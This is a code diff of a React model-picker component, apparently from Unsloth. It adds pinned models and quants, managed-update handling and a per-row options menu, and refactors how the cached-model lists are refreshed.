+  }, [pickerInventory.refreshInventory]);
 
   const refreshScanFolders = useCallback(() => {
     listScanFolders()
@@ -1515,9 +1667,8 @@ export function HubModelPicker({
       if (!trimmed || folderLoading) return;
       setFolderError(null);
       setFolderLoading(true);
-      // From the folder browser's one-click "Use this folder": the typed-
-      // input panel is closed, so the inline folderError is invisible.
-      // Surface failures (denylisted path, sandbox 403, etc.) via toast.
+      // From the folder browser's "Use this folder": the typed-input panel is
+      // closed, so surface failures (denylisted path, sandbox 403) via toast.
       const fromBrowser = overridePath !== undefined;
       try {
         const created = await addScanFolder(trimmed);
@@ -1574,42 +1725,37 @@ export function HubModelPicker({
   );
 
   const refreshCachedLists = useCallback(() => {
-    listCachedGguf()
-      .then((v) => {
-        _cachedGgufCache = v;
-        setCachedGguf(v);
-      })
-      .catch(() => {});
-    listCachedModels(hfToken || undefined)
-      .then((v) => {
-        _cachedModelsCache = v;
-        setCachedModels(v);
-      })
-      .catch(() => {});
-    refreshLocalModelsList();
-  }, [hfToken, refreshLocalModelsList]);
+    void pickerInventory.refreshInventory();
+  }, [pickerInventory.refreshInventory]);
 
-  // Updates run as MANAGED downloads (they show in the global Downloads panel
-  // with manifest-based progress + a working Cancel), instead of a blocking
-  // call. The worker re-resolves `main` and pulls only changed blobs, so the
-  // cached copy stays usable until the new revision lands. The row's
-  // ModelUpdateAction refreshes the list when this repo+variant completes.
-  const startManagedUpdate = useCallback((repoId: string, variant: string, expectedBytes: number) => {
-    return downloadManager
-      .requestStart({
-        kind: "model",
-        repoId,
-        variant,
-        expectedBytes,
-      })
-      .then((outcome) => {
-        if (outcome === "conflict") {
-          setUpdateConflictKey(jobKeyOf("model", repoId, variant));
-        } else if (outcome === "error") {
-          throw new Error("Failed to start update");
-        }
-      });
-  }, []);
+  // Updates run as managed downloads (Downloads panel: progress + Cancel), not a blocking
+  // call. The worker pulls only changed blobs, so the cached copy stays usable until done.
+  const startManagedUpdate = useCallback(
+    (repoId: string, variant: string, expectedBytes: number) => {
+      return downloadManager
+        .requestStart({
+          kind: "model",
+          repoId,
+          variant,
+          expectedBytes,
+        })
+        .then((outcome) => {
+          if (outcome === "conflict") {
+            setUpdateConflictKey(jobKeyOf("model", repoId, variant));
+          } else if (outcome === "busy") {
+            // A sibling variant/snapshot for this repo is already downloading,
+            // so this update did not start. Say so instead of closing the
+            // dialog as if it began and leaving the cached copy stale.
+            toast.info("A download for this model is already in progress", {
+              description: "Try updating again once it finishes.",
+            });
+          } else if (outcome === "error") {
+            throw new Error("Failed to start update");
+          }
+        });
+    },
+    [],
+  );
 
   const updateGgufVariant = useCallback(
     (repoId: string, quant: string, expectedBytes: number) =>
@@ -1618,36 +1764,15 @@ export function HubModelPicker({
   );
 
   useEffect(() => {
-    // Always refresh LM Studio + custom folder models (not gated by alreadyCached).
-    refreshLocalModelsList();
     refreshScanFolders();
     listRecommendedFolders()
       .then(setRecommendedFolders)
       .catch(() => {});
+  }, [refreshScanFolders]);
 
-    // Always refetch cached GGUF/model lists. The module-level caches render
-    // instantly with stale data (no spinner flash), but newly downloaded
-    // repos need a fresh backend hit. cachedReady=alreadyCached initially,
-    // so the background refresh is invisible when we already had data.
-    let done = 0;
-    const check = () => {
-      if (++done >= 2) setCachedReady(true);
-    };
-    listCachedGguf()
-      .then((v) => {
-        _cachedGgufCache = v;
-        setCachedGguf(v);
-      })
-      .catch(() => {})
-      .finally(check);
-    listCachedModels(hfToken || undefined)
-      .then((v) => {
-        _cachedModelsCache = v;
-        setCachedModels(v);
-      })
-      .catch(() => {})
-      .finally(check);
-  }, [hfToken, refreshLocalModelsList, refreshScanFolders]);
+  useEffect(() => {
+    void refreshInventory();
+  }, [refreshInventory]);
 
   // Hide downloaded models from the recommended list. Case-insensitive
   // since the HF cache lowercases repo IDs.
@@ -1662,7 +1787,7 @@ export function HubModelPicker({
   const deviceType = usePlatformStore((s) => s.deviceType);
   const isMac = deviceType === "mac";
 
-  // Drop models Studio can't run for chat (diffusion / image / video / etc.)
+  // Drop models Unsloth can't run for chat (diffusion / image / video / etc.)
   // using the Hub's classifier on the tags the listing already carries.
   const isChatSupported = useCallback(
     (r: HfModelResult) =>
@@ -1684,7 +1809,8 @@ export function HubModelPicker({
       // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors
       // on Mac (matches the empty Recommended view so search stays consistent).
       .filter(
-        (id) => !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac),
+        (id) =>
+          !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac),
       )
       .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id));
     // Sort: GGUFs first, then hub models
@@ -1713,7 +1839,7 @@ export function HubModelPicker({
     let rows = recommendedSearch.results
       .filter((r) => !isHiddenModelId(r.id))
       .filter((r) => !isMobileVariant(r.id));
-    // Drop models Studio can't run for chat (diffusion / image / video / etc.).
+    // Drop models Unsloth can't run for chat (diffusion / image / video / etc.).
     rows = rows.filter(isChatSupported);
     // With no explicit format, show the device-recommended formats (GGUF, plus
     // MLX on Mac). When the user picks a format, honor it instead so Safetensors
@@ -1851,7 +1977,7 @@ export function HubModelPicker({
     // eslint-disable-next-line react-hooks/exhaustive-deps
     [lmStudioModels, downloadedSort, formatFilter, loadTimes, localQuery],
   );
-  // Local ./models entries. Chat-only Studio runs GGUF (any host) and MLX (Mac
+  // Local ./models entries. Chat-only Unsloth runs GGUF (any host) and MLX (Mac
   // only), so raw checkpoints there are hidden (mirrors the cached non-GGUF
   // rule). An MLX build a Mac user dropped in ./models stays selectable.
   const sortedLocalDir = useMemo(
@@ -1947,6 +2073,125 @@ export function HubModelPicker({
   // logic must use this (not visibleCachedModels) or the picker can go blank.
   const visibleCachedModelRows = chatOnly ? [] : visibleCachedModels;
 
+  // Pinned entries surface in their own section above the Unsloth heading.
+  // GGUF quants pin individually and their repo stays listed below; non-GGUF
+  // repos pin whole and leave the Unsloth / Other models groups.
+  const pinnedIds = usePinnedModelsStore((s) => s.pinned);
+  const togglePinned = usePinnedModelsStore((s) => s.togglePinned);
+  const pinnedSet = useMemo(() => new Set(pinnedIds), [pinnedIds]);
+
+  // Candidate pins whose repo still exists in the cache. Per-quant validation
+  // below is needed because deleting one variant can leave a sibling cached.
+  const pinnedQuantCandidates = useMemo(() => {
+    // The existence check ignores the text query (keeps the format filter) so a
+    // pinned quant stays findable by quant name; querying visibleCachedGguf would
+    // drop the repo before the `${repoId} ${quant}` predicate could surface it.
+    const cached = new Set(
+      sortedCachedGguf
+        .filter((c) => matchesFormatFilter(c.repo_id, true, formatFilter))
+        .map((c) => c.repo_id),
+    );
+    return pinnedQuantEntries(pinnedIds).filter((entry) =>
+      cached.has(entry.repoId),
+    );
+  }, [pinnedIds, sortedCachedGguf, formatFilter]);
+  const [pinnedQuantValidation, setPinnedQuantValidation] = useState<{
+    validated: boolean;
+    downloaded: ReadonlySet<string>;
+  }>({ validated: false, downloaded: new Set() });
+  const prunePinnedQuantValidation = useCallback(
+    (repoId: string, quant: string) => {
+      const key = pinKey(repoId, quant);
+      setPinnedQuantValidation((prev) => {
+        if (!prev.downloaded.has(key)) return prev;
+        const downloaded = new Set(prev.downloaded);
+        downloaded.delete(key);
+        return { ...prev, downloaded };
+      });
+    },
+    [],
+  );
+
+  useEffect(() => {
+    let cancelled = false;
+    const repoIds = Array.from(
+      new Set(pinnedQuantCandidates.map((entry) => entry.repoId)),
+    );
+    if (repoIds.length === 0) return;
+
+    void Promise.all(
+      repoIds.map(async (repoId) => {
+        try {
+          const response = await listGgufVariantsCached(
+            repoId,
+            hfToken || undefined,
+            { preferLocalCache: true },
+          );
+          return normalizeGgufVariantsResponse(response)
+            .variants.filter((variant) => variant.downloaded === true)
+            .map((variant) => pinKey(repoId, variant.quant));
+        } catch {
+          // If the backend cannot verify a quant, hiding the direct-load row
+          // is safer than claiming a missing file is downloaded.
+          return [];
+        }
+      }),
+    ).then((groups) => {
+      if (!cancelled) {
+        setPinnedQuantValidation({
+          validated: true,
+          downloaded: new Set(groups.flat()),
+        });
+      }
+    });
+
+    return () => {
+      cancelled = true;
+    };
+  }, [hfToken, pinnedQuantCandidates]);
+  const downloadedPinnedQuantKeys = useMemo<ReadonlySet<string>>(
+    () =>
+      pinnedQuantValidation.validated
+        ? pinnedQuantValidation.downloaded
+        : new Set(),
+    [pinnedQuantValidation],
+  );
+
+  // Verified downloaded quants, in pin order and filtered by repo id or quant.
+  const pinnedQuants = useMemo(() => {
+    const q = normalizeForSearch(debouncedQuery.trim());
+    return pinnedQuantCandidates.filter(
+      (entry) =>
+        downloadedPinnedQuantKeys.has(pinKey(entry.repoId, entry.quant)) &&
+        (!q ||
+          normalizeForSearch(`${entry.repoId} ${entry.quant}`).includes(q)),
+    );
+  }, [debouncedQuery, downloadedPinnedQuantKeys, pinnedQuantCandidates]);
+
+  const pinnedCachedModelRows = useMemo(
+    () =>
+      visibleCachedModelRows.filter((c) => pinnedSet.has(pinKey(c.repo_id))),
+    [visibleCachedModelRows, pinnedSet],
+  );
+
+  const pinnedRows = useMemo(() => {
+    const rank = makePinRank(pinnedIds);
+    const rows = [
+      ...pinnedQuants.map((entry) => ({
+        key: pinKey(entry.repoId, entry.quant),
+        entry,
+        model: null,
+      })),
+      ...pinnedCachedModelRows.map((model) => ({
+        key: pinKey(model.repo_id),
+        entry: null,
+        model,
+      })),
+    ];
+    rows.sort((a, b) => rank(a.key) - rank(b.key));
+    return rows;
+  }, [pinnedIds, pinnedQuants, pinnedCachedModelRows]);
+
   // Split downloaded models so non-Unsloth repos get their own "Other models"
   // section above Fine-tuned.
   const unslothCachedGguf = useMemo(
@@ -1958,12 +2203,18 @@ export function HubModelPicker({
     [visibleCachedGguf],
   );
   const unslothCachedModelRows = useMemo(
-    () => visibleCachedModelRows.filter((c) => isUnslothRepoId(c.repo_id)),
-    [visibleCachedModelRows],
+    () =>
+      visibleCachedModelRows.filter(
+        (c) => isUnslothRepoId(c.repo_id) && !pinnedSet.has(pinKey(c.repo_id)),
+      ),
+    [visibleCachedModelRows, pinnedSet],
   );
   const otherCachedModelRows = useMemo(
-    () => visibleCachedModelRows.filter((c) => !isUnslothRepoId(c.repo_id)),
-    [visibleCachedModelRows],
+    () =>
+      visibleCachedModelRows.filter(
+        (c) => !isUnslothRepoId(c.repo_id) && !pinnedSet.has(pinKey(c.repo_id)),
+      ),
+    [visibleCachedModelRows, pinnedSet],
   );
 
   // Param counts come straight off the unsloth listings the picker already
@@ -1980,26 +2231,28 @@ export function HubModelPicker({
   const filteredRecommendedIds = useMemo(() => {
     if (!showHfSection) return [];
     const q = normalizeForSearch(debouncedQuery.trim());
-    return recommendedIds
-      .filter((id) => normalizeForSearch(id).includes(q))
-      .filter((id) =>
-        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
-      )
-      // Curated defaults obey the fit toggle like the live HF rows, else large
-      // defaults resurface in search results with the filter on.
-      .filter(
-        (id) =>
-          !fitOnDeviceOnly ||
-          downloadedSet.has(id.toLowerCase()) ||
-          hfModelFitsDevice(
-            {
-              id,
-              totalParams: recommendedParamCountById.get(id),
-              isGguf: isKnownGgufRepo(id),
-            },
-            gpu,
-          ),
-      );
+    return (
+      recommendedIds
+        .filter((id) => normalizeForSearch(id).includes(q))
+        .filter((id) =>
+          matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
+        )
+        // Curated defaults obey the fit toggle like the live HF rows, else large
+        // defaults resurface in search results with the filter on.
+        .filter(
+          (id) =>
+            !fitOnDeviceOnly ||
+            downloadedSet.has(id.toLowerCase()) ||
+            hfModelFitsDevice(
+              {
+                id,
+                totalParams: recommendedParamCountById.get(id),
+                isGguf: isKnownGgufRepo(id),
+              },
+              gpu,
+            ),
+        )
+    );
   }, [
     showHfSection,
     debouncedQuery,
@@ -2020,27 +2273,30 @@ export function HubModelPicker({
   const hfIds = useMemo(() => {
     // Only the Unsloth tab searches the HF listing, and only Unsloth models.
     if (!showHfSection || section !== "recommended") return [];
-    return results
-      .filter(isChatSupported)
-      .filter(
-        (r) =>
-          !fitOnDeviceOnly ||
-          downloadedSet.has(r.id.toLowerCase()) ||
-          hfModelFitsDevice(r, gpu),
-      )
-      .map((result) => result.id)
-      .filter((id) => !isHiddenModelId(id))
-      .filter((id) => id.toLowerCase().startsWith("unsloth/"))
-      .filter((id) => !recommendedSet.has(id))
-      // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors
-      // on Mac (matches the empty Recommended view so search stays consistent).
-      .filter(
-        (id) => !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac),
-      )
-      .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id))
-      .filter((id) =>
-        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
-      );
+    return (
+      results
+        .filter(isChatSupported)
+        .filter(
+          (r) =>
+            !fitOnDeviceOnly ||
+            downloadedSet.has(r.id.toLowerCase()) ||
+            hfModelFitsDevice(r, gpu),
+        )
+        .map((result) => result.id)
+        .filter((id) => !isHiddenModelId(id))
+        .filter((id) => id.toLowerCase().startsWith("unsloth/"))
+        .filter((id) => !recommendedSet.has(id))
+        // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors
+        // on Mac (matches the empty Recommended view so search stays consistent).
+        .filter(
+          (id) =>
+            !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac),
+        )
+        .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id))
+        .filter((id) =>
+          matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
+        )
+    );
   }, [
     recommendedSet,
     results,
@@ -2059,6 +2315,22 @@ export function HubModelPicker({
   const hubOptionKeys = useMemo(() => {
     const keys: string[] = [];
 
+    // Pinned rows sit above the Unsloth heading on the On Device tab.
+    if (
+      section === "downloaded" &&
+      cachedReady &&
+      !pinnedCollapsed &&
+      pinnedRows.length > 0
+    ) {
+      keys.push(
+        ...pinnedRows.map((row) =>
+          row.entry
+            ? makeModelOptionKey("pinned-quant", row.key)
+            : makeModelOptionKey("downloaded-model", row.model.repo_id),
+        ),
+      );
+    }
+
     // Downloaded (Unsloth) rows (query-filtered) on the On Device tab only.
     if (
       section === "downloaded" &&
@@ -2150,6 +2422,8 @@ export function HubModelPicker({
     chatOnly,
     sortedCustomFolderModels,
     customFoldersCollapsed,
+    pinnedRows,
+    pinnedCollapsed,
     downloadedCollapsed,
     fineTunedRows,
     fineTunedCollapsed,
@@ -2269,9 +2543,8 @@ export function HubModelPicker({
   }, [scrollRef, updateListFades]);
 
   // Sentinel + IntersectionObserver for recommended infinite scroll. Re-running
-  // on each loaded page (results length) re-attaches the observer so a heavily
-  // filtered list keeps paging until the viewport fills or the listing ends;
-  // fetchMore is a no-op while a page is in flight. Callback ref tracks mount.
+  // per loaded page re-attaches the observer so a heavily filtered list keeps
+  // paging until the viewport fills; fetchMore is a no-op while a page is in flight.
   const [recommendedSentinel, setRecommendedSentinel] =
     useState<HTMLDivElement | null>(null);
   const recommendedSentinelRef = useCallback((node: HTMLDivElement | null) => {
@@ -2321,6 +2594,7 @@ export function HubModelPicker({
   const showCustom = section === "downloaded";
   const showRecommendedSection = !showHfSection && section === "recommended";
   const downloadedEmpty =
+    pinnedRows.length === 0 &&
     visibleCachedGguf.length === 0 &&
     visibleCachedModelRows.length === 0 &&
     sortedLmStudio.length === 0 &&
@@ -2329,25 +2603,21 @@ export function HubModelPicker({
     // non-empty Fine-tuned section.
     fineTunedRows.length === 0;
 
-  // Sort dropdown shown inline to the right of the section toggle. Options
-  // depend on the tab and stay visible while searching so results can be
-  // sorted. Fixed width matching the Search Hub button so it and the format
-  // dropdown always line up; text-xs matches that button too. The trigger label
-  // clips (no ellipsis) when long; the open menu expands to show it in full.
+  // Sort dropdown inline right of the section toggle; options depend on the tab
+  // and stay visible while searching. Fixed width matches the Search Hub button
+  // so it and the format dropdown line up. Trigger label clips; the menu shows full.
   const sortTriggerClassName =
     "w-[110px] shrink-0 justify-between pr-2.5 !border-0 text-xs [&>span]:!text-clip";
-  // Tighter menu like the Projects activity Select: less left/top padding and
-  // text-xs to match the trigger. Keep the option's right padding so the
-  // selected-item checkmark never overlaps the label.
+  // Tighter menu (less padding, text-xs) matching the trigger. Keep the option's
+  // right padding so the selected-item checkmark never overlaps the label.
   const sortMenuContentClassName =
     "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]";
-  // Device-fit toggle lives inside the sort menu (shared with the Hub page).
-  // The whole row is the click target (a button): a Checkbox renders as a
-  // <button>, and label-click forwarding to a button is unreliable, so the row
-  // owns the toggle and the Checkbox is presentational (pointer-events-none).
+  // Device-fit toggle inside the sort menu (shared with the Hub page). The whole
+  // row is the button: a Checkbox renders as a <button> and label-click forwarding
+  // to it is unreliable, so the row owns the toggle and the Checkbox is presentational.
   const fitOnDeviceFooter = (
     <Tooltip>
-      <TooltipTrigger asChild>
+      <TooltipTrigger asChild={true}>
         <button
           type="button"
           role="checkbox"
@@ -2358,7 +2628,7 @@ export function HubModelPicker({
           <Checkbox
             checked={fitOnDeviceOnly}
             tabIndex={-1}
-            aria-hidden
+            aria-hidden={true}
             className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
           />
           Only show models that fit
@@ -2370,6 +2640,19 @@ export function HubModelPicker({
       </TooltipContent>
     </Tooltip>
   );
+  // Sort icon + selected label inside the trigger pill.
+  const sortTriggerContent = (label: ReactNode) => (
+    <span className="flex items-center gap-1">
+      <HugeiconsIcon
+        icon={ArrowUpDownIcon}
+        strokeWidth={1.75}
+        className="size-3.5 shrink-0 text-muted-foreground"
+      />
+      <span className="truncate">{label}</span>
+    </span>
+  );
+  // On Device / Custom rows are already on disk, so the device-fit filter
+  // only applies to the Unsloth listing.
   const sectionSortDropdown =
     section === "recommended" ? (
       <HubOptionMenu
@@ -2380,6 +2663,10 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        triggerContent={sortTriggerContent(
+          RECOMMENDED_SORT_OPTIONS.find((o) => o.value === recommendedSort)
+            ?.label ?? recommendedSort,
+        )}
         footer={fitOnDeviceFooter}
       />
     ) : section === "downloaded" ? (
@@ -2391,7 +2678,10 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
-        footer={fitOnDeviceFooter}
+        triggerContent={sortTriggerContent(
+          LOCAL_SORT_OPTIONS.find((o) => o.value === downloadedSort)?.label ??
+            downloadedSort,
+        )}
       />
     ) : (
       <HubOptionMenu
@@ -2402,7 +2692,10 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
-        footer={fitOnDeviceFooter}
+        triggerContent={sortTriggerContent(
+          LOCAL_SORT_OPTIONS.find((o) => o.value === customSort)?.label ??
+            customSort,
+        )}
       />
     );
 
@@ -2458,6 +2751,115 @@ export function HubModelPicker({
       selected && "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
     );
 
+  // A pinned quant: repo name with the quant as a grey chip. One click loads
+  // that quant directly, no expansion needed.
+  const renderPinnedQuantRow = (entry: { repoId: string; quant: string }) => {
+    const optionKey = makeModelOptionKey(
+      "pinned-quant",
+      pinKey(entry.repoId, entry.quant),
+    );
+    const { owner, name } = splitRepoLabel(entry.repoId);
+    const isSelected =
+      value === entry.repoId && activeGgufVariant === entry.quant;
+    const isLoaded =
+      modelIdsMatchForPicker(loadedModelId, entry.repoId) &&
+      !ggufVariantsMatchForPicker(activeGgufVariant, null) &&
+      ggufVariantsMatchForPicker(activeGgufVariant, entry.quant);
+    return (
+      <div key={optionKey} className={downloadedRowShellClassName(isSelected)}>
+        <button
+          type="button"
+          {...hubModelList.getOptionProps(optionKey, isSelected)}
+          onClick={() =>
+            onSelect(entry.repoId, {
+              source: "hub",
+              isLora: false,
+              ggufVariant: entry.quant,
+              isDownloaded: true,
+            })
+          }
+          className={cn(
+            "flex min-w-0 flex-1 items-center gap-2 rounded-full px-2 py-1.5 text-left text-sm transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45",
+            downloadedRowButtonClassName,
+          )}
+          title={`${entry.repoId} (${entry.quant})`}
+        >
+          <span className="flex min-w-0 items-baseline">
+            {owner ? (
+              <span className="inline-flex min-w-0 max-w-[45%] shrink items-baseline text-ui-13 text-muted-foreground/90">
+                <span className="truncate">{owner}</span>
+                <span className="shrink-0 text-muted-foreground/45">/</span>
+              </span>
+            ) : null}
+            <span className="min-w-0 truncate">{name}</span>
+          </span>
+          <span className="shrink-0 rounded-md bg-black/[0.06] px-1.5 py-px font-mono text-ui-10 text-muted-foreground dark:bg-white/[0.1]">
+            {entry.quant}
+          </span>
+          {isLoaded && (
+            <DotTag
+              tone="success"
+              label="Loaded"
+              className="ml-auto h-[18px] shrink-0 gap-1 rounded-md px-1.5"
+              dotClassName="size-[5px]"
+            />
+          )}
+        </button>
+        <span className="mr-1 flex shrink-0 items-center opacity-0 transition-opacity focus-within:opacity-100 group-hover:opacity-100 group-focus-within:opacity-100">
+          {onConfigure && (
+            <ModelLoadSettingsAction
+              ariaLabel={`Inference settings for ${entry.repoId} ${entry.quant}`}
+              onConfigure={() =>
+                onConfigure(entry.repoId, {
+                  source: "hub",
+                  isLora: false,
+                  ggufVariant: entry.quant,
+                  isDownloaded: true,
+                  isGguf: true,
+                })
+              }
+            />
+          )}
+          <ModelRowMenu
+            ariaLabel={`More options for ${entry.repoId} ${entry.quant}`}
+            iconClassName="size-3"
+            cachePath={{ repoId: entry.repoId, variant: entry.quant }}
+            pin={{
+              pinned: true,
+              pinLabel: "Pin to top",
+              unpinLabel: "Unpin",
+              onToggle: () => togglePinned(entry.repoId, entry.quant),
+            }}
+            del={{
+              title: "Delete cached model?",
+              description: (
+                <>
+                  This will remove{" "}
+                  <span className="font-medium text-foreground">
+                    {entry.repoId} ({entry.quant})
+                  </span>{" "}
+                  from disk. You can re-download it later.
+                </>
+              ),
+              successMessage: `Deleted ${entry.repoId} ${entry.quant}`,
+              disabled: deleteDisabled,
+              onConfirm: async () => {
+                await deleteCachedModel(
+                  entry.repoId,
+                  entry.quant,
+                  hfToken || undefined,
+                );
+                refreshCachedLists();
+                // The file is gone, so drop its pin too.
+                togglePinned(entry.repoId, entry.quant);
+              },
+            }}
+          />
+        </span>
+      </div>
+    );
+  };
+
   // Shared row renderers so Downloaded (Unsloth) and Other models render alike.
   const renderDownloadedGgufRow = (c: (typeof visibleCachedGguf)[number]) => {
     const optionKey = makeModelOptionKey("downloaded-gguf", c.repo_id);
@@ -2468,9 +2870,16 @@ export function HubModelPicker({
           <div className="min-w-0 flex-1">
             <ModelRow
               label={c.repo_id}
+              tooltipText={localPathTooltip(c.repo_id, c.cache_path)}
               meta="GGUF"
               showVision={c.has_vision ?? visionByRepo[c.repo_id]}
               selected={isSelected}
+              loaded={isRuntimeLoadedModel(
+                loadedModelId,
+                activeGgufVariant,
+                c.repo_id,
+                "required",
+              )}
               optionProps={hubModelList.getOptionProps(optionKey, isSelected)}
               onClick={() => toggleGgufExpanded(c.repo_id)}
               onArrowDownIntoChildren={
@@ -2488,8 +2897,10 @@ export function HubModelPicker({
           <GgufVariantExpander
             repoId={c.repo_id}
             onDevice={true}
+            allowPin={true}
             onHasVision={(v) => reportVision(c.repo_id, v)}
             onSelect={onSelect}
+            onConfigure={onConfigure}
             hfToken={hfToken || undefined}
             parentOptionKey={optionKey}
             onNavigatePastStart={() => hubModelList.focusOption(optionKey)}
@@ -2499,10 +2910,15 @@ export function HubModelPicker({
             variantActions={{
               onUpdate: (quant, expectedBytes) =>
                 updateGgufVariant(c.repo_id, quant, expectedBytes),
-              // Can't update the model that's live in memory under itself.
               updateDisabled: loadedModelId === c.repo_id,
               onDelete: async (quant) => {
-                await deleteCachedModel(c.repo_id, quant);
+                await deleteCachedModel(
+                  c.repo_id,
+                  quant,
+                  hfToken || undefined,
+                  c.cache_path || undefined,
+                );
+                prunePinnedQuantValidation(c.repo_id, quant);
                 refreshCachedLists();
               },
             }}
@@ -2517,21 +2933,22 @@ export function HubModelPicker({
     const optionKey = makeModelOptionKey("downloaded-model", c.repo_id);
     const isSelected = value === c.repo_id;
     return (
-      <div
-        key={c.repo_id}
-        className={downloadedRowShellClassName(isSelected)}
-      >
+      <div key={c.repo_id} className={downloadedRowShellClassName(isSelected)}>
         <div className="min-w-0 flex-1">
           <ModelRow
             label={c.repo_id}
+            hubUrl={hubRepoUrl(c.repo_id)}
             meta={`${isMlxId(c.repo_id) ? "MLX" : "Safetensors"} · ${formatBytes(
               c.size_bytes,
             )}`}
             selected={isSelected}
-            optionProps={hubModelList.getOptionProps(
-              optionKey,
-              isSelected,
+            loaded={isRuntimeLoadedModel(
+              loadedModelId,
+              activeGgufVariant,
+              c.repo_id,
+              "none",
             )}
+            optionProps={hubModelList.getOptionProps(optionKey, isSelected)}
             onClick={() =>
               onSelect(c.repo_id, {
                 source: "hub",
@@ -2543,20 +2960,53 @@ export function HubModelPicker({
             className={downloadedRowButtonClassName}
           />
         </div>
-        <ModelDeleteAction
-          ariaLabel={`Delete ${c.repo_id}`}
-          title="Delete cached model?"
-          description={
-            <>
-              This will remove{" "}
-              <span className="font-medium text-foreground">{c.repo_id}</span>{" "}
-              from disk. You can re-download it later.
-            </>
-          }
-          successMessage={`Deleted ${c.repo_id}`}
+        {onConfigure && (
+          <ModelLoadSettingsAction
+            ariaLabel={`Inference settings for ${c.repo_id}`}
+            onConfigure={() =>
+              onConfigure(c.repo_id, {
+                source: "hub",
+                isLora: false,
+                isDownloaded: true,
+                isGguf: false,
+              })
+            }
+          />
+        )}
+        <ModelRowMenu
+          ariaLabel={`More options for ${c.repo_id}`}
           buttonClassName="mr-1"
-          onConfirm={() => deleteCachedModel(c.repo_id)}
-          onDeleted={refreshCachedLists}
+          cachePath={{ repoId: c.repo_id }}
+          pin={{
+            pinned: pinnedSet.has(pinKey(c.repo_id)),
+            pinLabel: "Pin to top",
+            unpinLabel: "Unpin",
+            onToggle: () => togglePinned(c.repo_id),
+          }}
+          del={{
+            title: "Delete cached model?",
+            description: (
+              <>
+                This will remove{" "}
+                <span className="font-medium text-foreground">{c.repo_id}</span>{" "}
+                from disk. You can re-download it later.
+              </>
+            ),
+            successMessage: `Deleted ${c.repo_id}`,
+            disabled: deleteDisabled,
+            onConfirm: async () => {
+              await deleteCachedModel(
+                c.repo_id,
+                undefined,
+                hfToken || undefined,
+                c.cache_path || undefined,
+              );
+              if (pinnedSet.has(pinKey(c.repo_id))) {
+                togglePinned(c.repo_id);
+              }
+            },
+            onDeleted: refreshCachedLists,
+          }}
         />
       </div>
     );
@@ -2565,192 +3015,237 @@ export function HubModelPicker({
   return (
     <>
       <div className="relative space-y-2">
-      {/* A small right inset shortens the search bar so Search Hub lands on the
+        {/* A small right inset shortens the search bar so Search Hub lands on the
           last dropdown's right edge (none on the wider Connected box). */}
-      <div
-        className={cn(
-          "flex items-center gap-2 pb-1",
-          hasConnected ? "pr-0" : "pr-2",
-        )}
-      >
-        <div className="relative flex-1">
-          <HugeiconsIcon
-            icon={Search01Icon}
-            className="pointer-events-none absolute left-2.5 top-2.5 size-4 text-muted-foreground"
-          />
-          <Input
-            value={query}
-            onChange={(event) => setQuery(event.target.value)}
-            placeholder={
-              section === "downloaded"
-                ? "Search local models"
-                : "Search Unsloth models"
-            }
-            data-model-picker-search-input={true}
-            className="field-soft h-9 border-0 pl-8 pr-8"
-          />
-          {isLoading && (
-            <Spinner className="pointer-events-none absolute right-2.5 top-2.5 size-4 text-muted-foreground" />
-          )}
-        </div>
-        {onBrowseHub ? (
-          <Tooltip>
-            <TooltipTrigger asChild>
-              <button
-                type="button"
-                onClick={onBrowseHub}
-                aria-label="Search more models on the Hub"
-                className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
-              >
-                <HugeiconsIcon icon={DashboardCircleIcon} className="size-4" />
-                Search Hub
-              </button>
-            </TooltipTrigger>
-            <TooltipContent>Search all models</TooltipContent>
-          </Tooltip>
-        ) : null}
-      </div>
-
-      {/* Section tabs then the format and sort dropdowns, packed left with one
-          uniform gap between every control. The box is sized so the last
-          dropdown still lands on Search Hub's edge. Dropdowns hide on Connected. */}
-      <div className="flex items-center gap-2">
-        {sectionToggle}
-        {showConnected ? null : (
-          <div className="flex items-center gap-2">
-            <HubOptionMenu
-              value={formatFilter}
-              options={FORMAT_FILTER_OPTIONS}
-              onValueChange={setFormatFilter}
-              ariaLabel="Filter by format"
-              align="end"
-              className={sortTriggerClassName}
-              contentClassName={sortMenuContentClassName}
-            />
-            {sectionSortDropdown}
-          </div>
-        )}
-      </div>
-
-      <div
-        ref={scrollRef}
-        onScroll={(e) => updateListFades(e.currentTarget)}
-        className={cn(
-          // List sits within the menu padding so left and right gaps match.
-          // Height tracks the content up to the cap, so short lists do not
-          // leave white space. scroll-py + symmetric px keep the focus ring off
-          // the overflow clip edges during keyboard nav.
-          "model-list-scroll max-h-[335px] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
-          listScrolled && "is-scrolled",
-          listMoreBelow && "is-bottom-faded",
-        )}
-        {...hubModelList.listboxProps}
-      >
-        {/* Clear space for the floating Eject pill when scrolled to the end, so
-            its gap above the last row matches its gap below (applies to every
-            section, including Recommended). */}
         <div
           className={cn(
-            "pr-0",
-            // On Device pulls the heading block tight to the controls; Recommended
-            // keeps a little more top room above its first row.
-            showDownloaded ? "pt-0" : "pt-[4px]",
-            onEject ? "pb-[60px]" : "pb-4",
